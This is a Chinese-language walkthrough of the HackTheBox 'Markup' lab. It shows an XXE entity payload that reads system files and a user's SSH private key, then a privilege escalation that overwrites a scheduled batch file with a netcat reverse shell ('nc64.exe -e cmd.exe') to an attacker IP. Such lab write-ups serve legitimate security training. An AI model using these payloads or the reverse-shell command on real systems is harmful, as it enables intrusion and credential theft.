HTB靶场:Markup(XXE&Windows提权)
Markup
1. 信息收集
端口扫描:22、80、443

子域名收集
gobuster vhost --random-agent --append-domain -k -w="/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt" -u 'http://10.129.95.192/'
2. 访问
SQL注入
登录参数不存在注入点
弱口令
登录成功
发现可控输入页面

相关请求包如下

发现可能存在XXE注入(XML实体注入攻击)
将<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>插入XML中进行测试
无反应
/etc/passwd换成C:\windows\system32\drivers\etc\hosts,再测试

看起来是不支持这种方式,换一个以file:///开头的方式

这次引用成功了
3. XXE利用
系统文件中没有什么值得利用的内容,寻找站点下的线索
最终在查看页面源码的过程中,发现

根据这里可以猜测系统中存在一个名为Daniel的用户
Windows用户文件夹下有什么秘密呢?
回想下端口扫描结果,可以尝试读取ssh私钥

修改保存的私钥文件权限: chmod is_rsa 400
ssh登录

拿到user.flag

4. Windows提权
1. 先查看用户是否拥有特殊权限

一个允许在文件系统中遍历文件,不受Traverse权限限制;一个允许调整进程工作集大小
无特殊权限
2. 查看特别的文件

- 该文件先检测管理员权限,确认为管理员权限后,使用wevtutil el 列出所有事件日志,并使用 wevtutil cl 对每个列出的日志进行清除。
3. 查看文件权限
icacls "C:\example\folder"

- F即完全控制,I表示该权限是继承到的,RX表示读取和执行权限
可以通过传输修改脚本来执行反向 shell,从而获得一个 shell。
在此之前,我们需要检查 job.bat 文件中提到的 netcat to the system 和 wevtutil 进程是否正在运行。
我们可以通过键入 schtasks 命令来查看当前计划的任务。
如果我们的权限级别不允许我们通过 Windows 的命令行查看此列表,我们可以快速改用 powershell 的 ps 命令,这代表了另一个对服务器不利的安全配置错误。
4. 文件传输
python -m http.server
wget "http://ip:port/filename" -outfile filename

5. 替换job.bat
在cmd中运行: echo C:\Log-Management\nc64.exe -e cmd.exe 10.10.16.4 6666 > job.bat

然后运行job.bat: start job.bat
6. 反弹shell
拿到root.flag


浙公网安备 33010602011771号